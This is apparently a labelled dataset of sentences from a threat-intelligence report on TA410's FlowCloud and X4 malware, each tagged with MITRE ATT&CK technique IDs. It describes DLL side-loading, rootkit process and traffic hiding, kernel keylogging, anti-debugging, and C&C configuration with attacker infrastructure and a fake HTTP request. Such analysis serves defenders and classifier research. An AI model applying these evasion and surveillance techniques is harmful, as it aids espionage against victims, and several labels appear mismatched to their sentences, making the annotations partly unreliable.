{"sentence": "5.0.2 contain verbose error messages and meticulous logging.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The three main components are a driver with rootkit functionality, a simple persistence module, and a custom backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "We describe these in detail in the upcoming sections.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Loader (ClientLdrExe)", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The first stage is responsible mostly for creating the files and registry keys used by the other stages.", "labels": ["T1112"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The values for these executables and configuration data can be found, encrypted, in the loader’s resource section.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Table 1 contains an overview of these resources and their use.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Contents of the dropper’s resources Resource IDRoleInternal name 100FlowCloud RAT DLLfcClientDll 10132-bit rootkit driverDriver 10264-bit rootkit driverDriver 103DLL hijacking vulnerable appN/A 104Shellcode loaded by the malicious library in the DLL hijackingSETLANG_dlcore 105Shellcode that loads fcClient (unused)N/A 106Final dropper stagefcClient 10732-bit persistence modulefcClientWD_x86 10864-bit persistence modulefcClientWD_x64 109Legitimate library used for module stompingslam 110DLL used for hijackingXXXModule_dlcore0 1000Protobuf serialized FlowCloud configurationN/A 1001Dropper configurationN/A 2000Used as an alternative or extension to resource 2001N/A 2001Path to the registry key for the PrintProcessor service (used by the driver)N/A 10000Installation configurationN/A In the instances we observed, most resources are written to disk encrypted, and only decrypted in memory when needed.", "labels": ["T1027", "T1112", "T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In some cases, they are then re-encrypted but with a different key.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The paths and registry keys to use, and whether they should be decrypted before being written, are defined in the installation configuration.", "labels": ["T1112", "T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "FlowCloud uses filenames that are either similar to those of legitimate Windows files (e.g., rebare.dll which could be mistaken for rebar.dll) or innocuous looking (e.g., AC146142) to avoid suspicion.", "labels": ["T1036.005"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Figure 7 presents a graphical overview of the deployment process and its elements.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "FlowCloud deployment process First, the loader decrypts and parses the embedded installation configuration, which uses the Windows INI format.", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In a sample we analyzed, this configuration is accompanied with comments explaining the values for some sections.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Figure 8 shows this installation configuration with the comments translated to English.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Installation configuration with explanatory comments.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Note that some fields are commented out.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The configuration can also contain a section defining specific security software to check for, but this isn’t implemented in the loaders we analyzed.", "labels": ["T1518.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This class is only used if the loader is set to directly start the fcClient module via the auto_start_after_install configuration key.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Depending on the configuration keys used, the loader can either load the fcClientDll RAT module directly, thus bypassing most of the complex deployment process, or it can create a service or scheduled task.", "labels": ["T1053.005", "T1543.003"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In the former case, the task or service attains persistence by being set to start automatically on boot.", "labels": ["T1547.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In the samples we observed, the task or service was configured to execute the next step of the installation process by running a legitimate application vulnerable to DLL search-order hijacking.", "labels": ["T1569.002"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "DLL side-loading (XXXModule_dlcore0)", "labels": ["T1574.002"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In the samples we analyzed, the vulnerable application was either setlang.exe from Microsoft Office 2003 with a malicious setlangloc.dll or vpreview.exe from Visio Preview 2007 with a malicious vviewres.dll.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Strings contained in the malicious DLL also point to emedres.dll from Emurasoft’s EmEditor as a possible third target for DLL side-loading.", "labels": ["T1574.002"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In all observed samples, the malicious library is the same and serves to load and execute shellcode from a file that is stored under the same name as the DLL, but with a .dat extension.", "labels": ["T1574.002"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "We analyze this shellcode in the next section, but first, we want to look at the notable anti-analysis techniques used in this library.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Despite its relatively simple goals, the library’s code makes heavy use of anti-debugging tricks and control flow obfuscation to hinder analysis.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In the function that loads the next file, the useful code is repeatedly interspersed with the same sequence of opcodes to obfuscate the program’s flow.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This is enough to foil many automatic analyses, including decompilers.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Annotated disassembly of the control flow obfuscation snippet The above snippet is bookended by calls to two anti-debugging functions, as can be seen in Figure 10.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The function, which we named crash_if_debugger in the previous screenshot, calls IsDebuggerPresent and checks some commonly hooked library functions for a breakpoint as their first instruction.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Note that we had to remove the aforementioned obfuscation for the decompiler to produce any output.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "fcClient (rescure.dat)", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "When it is first executed, this module sets up persistence and installs the backdoor, rootkit, and persistence modules.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "First, persistence is established by using the ITaskService COM interface to create the \\Microsoft\\Windows\\CertificateServicesClient\\NetTask scheduled task.", "labels": ["T1053.005"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "If a task with the same name already exists, it is deleted before the new one is created.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This task will run the DLL hijacking target as SYSTEM at each boot.", "labels": ["T1053.005"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Afterwards, the rootkit module is decrypted and written to the %System%\\drivers folder as hidmouse.sys.", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "A hidmouse service is then created to run that module and is immediately started.", "labels": ["T1543.003", "T1569.002"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The file is then deleted from the disk and replaced by a copy of the legitimate hidusb.sys driver from the same folder.", "labels": ["T1070.004"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Thus, anyone looking at the file on disk rather than the one mapped into memory would see a legitimate, benign file.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "On Windows 10 machines, the system time is briefly changed to make it look like the service was created in January 2013.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Both this and the use of the legitimate driver directory help the rootkit blend in with other drivers.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The following files are copied to the %System% directory:", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The backdoor: rescure.dat A decoy DLL: sspisrvui.dat as sspisrvui.dll (timestomped to July 2013)", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The encrypted shellcode: rebare.dat The rebare.dat shellcode is very similar to that used in the self-decrypting DLL, but it loads fcClient directly.", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "FlowCloud then starts a suspended process to perform injection on it.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Meanwhile, the injection process is terminated.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "At this point, installation of the backdoor is complete.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "All that is left is to execute the backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "To achieve this, the new process loads the decoy DLL and manually replaces its content in memory with the fcClientDll module (a process known as module stomping or DLL hollowing), before calling its main function.", "labels": ["T1574.002"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Before diving deeper into the functionalities, we want to highlight some notable characteristics: Configuration information and data for communications with the C&C server are Protobuf-serialized, compressed, and encrypted.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "File exfiltration is done through encrypted, Protobuf-serialized structures and is disguised as HTTP by prepending the data with a hardcoded, fake POST request.", "labels": ["T1071.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The Content-Length header is the only variable element, as it is set to the actual size of the data sent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This hardcoded request can be seen in Figure 11.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Multiple functionalities are implemented through the use of COM objects and interfaces.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "POST /messagebroker/amf HTTP/1.1Host: s.peheavens.comConnection: keep-aliveContent-Length: <content_length>Origin: http://s.peheavens.comX-Requested-With: ShockwaveFlash/20.0.0.306User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36Content-Type: application/x-amfAccept: */*Referer: http://s.peheavens.com/html/portlet/ext/draco/resources/draco_manager.swf/[[DYNAMIC]]/1Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8Cookie: COOKIE_SUPPORT=true; JSESSIONID=5C7E7A60D01D2891F40648DAB6CB3DF4.jvm1; COMPANY_ID=10301; ID=666e7375545678695645673d; PASSWORD=7a4b48574d746470447a303d; LOGIN=6863303130; SCREEN_NAME=4a2b455377766b657451493d; GUEST_LANGUAGE_ID=en-US Figure 11.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Hardcoded, fake HTTP POST request used for FlowCloud C&C communication This component uses an encrypted, Protobuf-serialized configuration that it tries to read from a file on disk or a registry key.", "labels": ["T1012", "T1071.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The configurations we observed were composed of three sections:", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "policys [sic]: This section defines the behavior of the backdoor’s components and is described in detail in the following paragraphs.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "install_config: As the name indicates, this section defines the installation parameters.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "An example of such a server_config is shown in Figure 12.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This configuration corresponds to resource 1000 in the initial loader.", "labels": ["T1041"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It defines the address and port for both the exfiltration server (file_server) and the C&C server (exchange_server), along with the encryption key to use for communication with each.", "labels": ["T1041"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "A fallback server can also be defined for each of these.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The file_key field defines the encryption key to use when storing files that are to be exfiltrated.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The other entries are used to identify the backdoor and the victimized host:", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "PCArrowI seems to correspond to FlowCloud.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Presumably, used to group victims or campaigns.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This value uniquely identifies the victim.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Initially, it is empty; the value is generated on the first execution using the following format: <prefix>_<current timestamp>_<machine hostname> 12345678910111213141516171819202122 server_config { product_name: “PCArrowI\" product_version: \"v5.0.2\" id: \"1202_[REDACTED]\" root: \"\" file_server: \"47.111.22[.]65\" file_server_port: \"80\" file_server_bak: \"\" file_server_bak_port: \"\" exchange_server: \"47.111.22[.]65\" exchange_server_port: \"81\" exchange_server_bak: \"\" exchange_server_bak_port: \"\" file_server_key: \"E\\367\\016\\031<…>\" xchg_server_key: \"8\\335\\325$<…>\" file_key: \"U\\267\\323\\353\\<…>\"", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "is_audio_only: false id_prefix: \"1202\"} Figure 12.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "server_config section of a decoded FlowCloud configuration FlowCloud’s capabilities are spread out over a series of singleton classes, each of which implements a cohesive set of functionalities related to a specific type of data or action.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Each manager stores collected data in its own SQLite database, while data that is collected on demand is returned directly to the C&C server.", "labels": ["T1074.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The location of the SQLite databases is defined by the data_folder install configuration key, with the default value being %ProgramFiles%\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\fcdata.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It can also update the local configuration when the corresponding command is received.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Data exfiltration is likewise automated: policies can contain a cache_size or cache_count parameter, which determines how much data can be collected locally by the corresponding class before it is staged for exfiltration.", "labels": ["T1074.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "File system FlowCloud provides interaction with the file system in a variety of ways, most of which can store file metadata and content in their SQLite database.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The corresponding files are collected unless they are excluded by that policy.", "labels": ["T1005", "T1082"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Another component collects information about mapped volumes, including mount point, name, drive type, and disk usage data.", "labels": ["T1082"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "As a complement to these automated measures, the backdoor implements functions that provide full access and control over the content of mounted drives.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This includes bidirectional file transfers between the C&C and the compromised machine. Programs and processes FlowCloud is able to automatically obtain a list of installed software through the use of the undocumented IShellAppManager COM interface.", "labels": ["T1041"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This functionality can also be invoked via a C&C command.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Simplified code showing how the IShellAppManager COM interface is used to list installed applications Other commands can be used to retrieve a detailed list of available services and currently running processes.", "labels": ["T1057"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "To achieve this, FlowCloud runs WMI queries every second to get all process creation and termination events.", "labels": ["T1047"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "User activity FlowCloud is able collect a miscellany of data that we have decided to group under the “User activity” umbrella.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It has the ability to monitor the clipboard for changes and save any data it contains.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This window uses AddClipboardFormatListener (on Windows Vista or more recent) or SetClipboardViewer (on Windows XP and prior) to listen for clipboard content changes. Figure 15.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "To limit the disk space used, images where fewer than 5% of the pixels differ from the most recently stored capture aren’t saved.", "labels": ["T1113"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This feature can also be invoked on demand by the server.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Another of the backdoor’s components records mouse and keyboard activity to a database.", "labels": ["T1056.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Interestingly, FlowCloud can also gather information about things happening around the victim’s computer.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The first way it does so is through a C&C command that takes a picture using connected camera peripherals.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This feature is implemented using the CCameraDS class from OpenCV.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The default value is 65 decibels, which is in the upper range of normal conversation volume (commonly defined to be anywhere between 50 and 70 dB by various sources).", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Self-decrypting DLL (setlangloc.dat)", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The loaded shellcode is a self-decrypting DLL.", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It first decrypts the embedded DLL using a byte-oriented XOR-and-ADD scheme (shown in Figure 16).", "labels": ["T1027", "T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The shellcode we analyzed used the key 0x7B. Once it has decrypted the embedded DLL, the shellcode manually performs the functions of LoadLibrary and calls the loaded module’s startModule export.", "labels": ["T1027", "T1106", "T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "for (int i=0; i < ciphertext_length; i++) plaintext[i] = ((encrypted[i] ^ key)", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "+ key) & 0xFF Figure 16.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Pseudocode for the DLL decryption routine This newly loaded module uses the same anti-debugging and anti-analysis techniques as the hijacking DLL described above.", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "On top of those, it also uses a few tricks of its own: Covers its tracks by overwriting the code previously modified by the malicious library with a useless call to lstrlenW. Base64-encoded strings are used for function imports (via GetProcAddress) and only decoded as needed.", "labels": ["T1027", "T1106", "T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The module creates a new process using the same executable and performs process injection on it, redirecting the existing thread to the written code region.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It accomplishes this mainly by hijacking native drivers’ handler functions for specific I/O control codes and replacing them with its own: Read (IRP_MJ_READ) for the keyboard driver (kbdclass or KeyboardClass0) Read (IRP_MJ_READ) for the mouse driver (mouclass or PointerClass0)", "labels": ["T1056.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Device control (IRP_MJ_DEVICE_CONTROL) for the network driver (tcpip or nsiproxy)", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The driver also provides kernel-level functionalities to be used by the RAT.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "They can be invoked via IO control codes or by writing to specific registry keys.", "labels": ["T1112"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This module is signed with a certificate with the thumbprint 02ED6A578C575C8D9C72398E790354B095BB07BC.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Issued to Hangzhou Leishite Laser Technology Co. in 2012 by Wosign and revoked in 2014, it seems most likely this certificate was stolen.", "labels": ["T1056.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Keylogging In its IRP_MJ_READ handlers for keyboard and mouse events, the driver simply records IO events to lookaside lists before passing them to the legitimate handler.", "labels": ["T1056.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This ensures that the driver doesn’t interfere in a way that could be noticeable by the user.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "These events are then parsed to the format used by the backdoor’s keymouse_manager and written to the named pipe \\\\.\\pipe\\namedpipe_keymousespy_english.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Rootkit After hijacking the aforementioned drivers, the rootkit erases the DLL names associated with them from internal structures used to display device drivers.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The rootkit can prevent processes from being shown by utilities that list running processes, such as Task Manager.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Since this structure is not part of the public API and can change between releases, the rootkit contains code to match the operating system’s build number to the correct offsets in this structure.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It is also used, on driver startup, to hide the process with the PID contained in the registry key HKLM\\HARDWARE\\{76BA14B7-AF0C-4dc9-9E9D-2A6970F231D9}.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This process is further camouflaged by changing its associated executable filename to one of svchost.exe or dllhost.exe in the same kernel structure.", "labels": ["T1036.005"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Function used to prevent a process from being displayed in lists of running processes Through its hijacking of the network driver, the rootkit can also hide a single process’s network traffic from local utilities.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The process whose traffic is to be hidden is set through the IOCTL_SET_TRAFFICHIDE_PROCESSID (0x222048) control code.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Some of the rootkit’s functions are used by the fcClientDll module to hide the process in which it is running.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Control codes to manipulate a process name in various internal structures are also exposed by the driver.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Persistence module (fcClientWD)", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This module is relatively simple compared to other components.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The previously mentioned NetTask already accomplishes persistence in most cases, by executing on system startup.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This module complements that mechanism by ensuring persistence in a very specific edge case where execution of the malware might be interrupted: the user logs out on a system with hibernation and Fastboot enabled.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "On systems where either of those is disabled, this module does nothing.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "FlowCloud v4.1.3 This older version of FlowCloud has already been described in a Proofpoint blogpost and presents similarities to the newer version described in the preceding subsections, so we will only highlight notable differences and new information revealed by our analysis.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It checks running processes for executables of several known cybersecurity vendors.", "labels": ["T1057", "T1518.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It also embeds a DLL version of the Pafish (aka Paranoid Fish) sandbox and analysis detection tool as one of its encrypted resources.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This library is loaded in memory and all of the anti-analysis/anti-sandboxing checks it implements are run.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Interestingly, the driver installed is the same as the one for version 5.0.2.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Those used by version 5.0.3 provide identical functionality, but differ slightly.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It is loaded by a VMProtect-ed loader, usually named PortableDeviceApi.dll or WptsExtensions.dll.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Unfortunately, we were not able to uncover any persistence method.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In turn, the orchestrator injects the network component into memory and communicates with it via a file located at C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\Log\\rsa.txt.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Summary of the X4 components The network component is shellcode.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Table 2 shows the three registry keys used by X4.", "labels": ["T1112"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Table 2.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The decrypted shellcode looks like it was based on Metasploit and communicates with a hardcoded IP address via HTTP.", "labels": ["T1071.001", "T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "An interesting characteristic is that it uses the fake Host header onedrive.live.com.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Every second, the orchestrator, which lives in memory only, reads the cleartext rsa.txt file to check whether there are new commands to execute.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The commands are received from the C&C server, via the network shellcode.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In the orchestrator, the commands are identified by a numerical identifier that is computed from the command name, as shown in Figure 19. Figure 19.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Custom hash function seen in X4 The orchestrator handles seven commands, detailed in Table 3.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Output of these commands is written to C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\Log\\output.log.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "X4 backdoor commands IDNameDescription 0x3ECFF9B9D92osloadWrite new encrypted shellcode to HKLM\\SOFTWARE\\Microsoft\\DRM\\X4Data.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "0x6D6E70D40caclsModify the access controls of a given object using SetEntriesInAclA, SetNamedSecurityInfoA and BuildExplicitAccessWithName.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
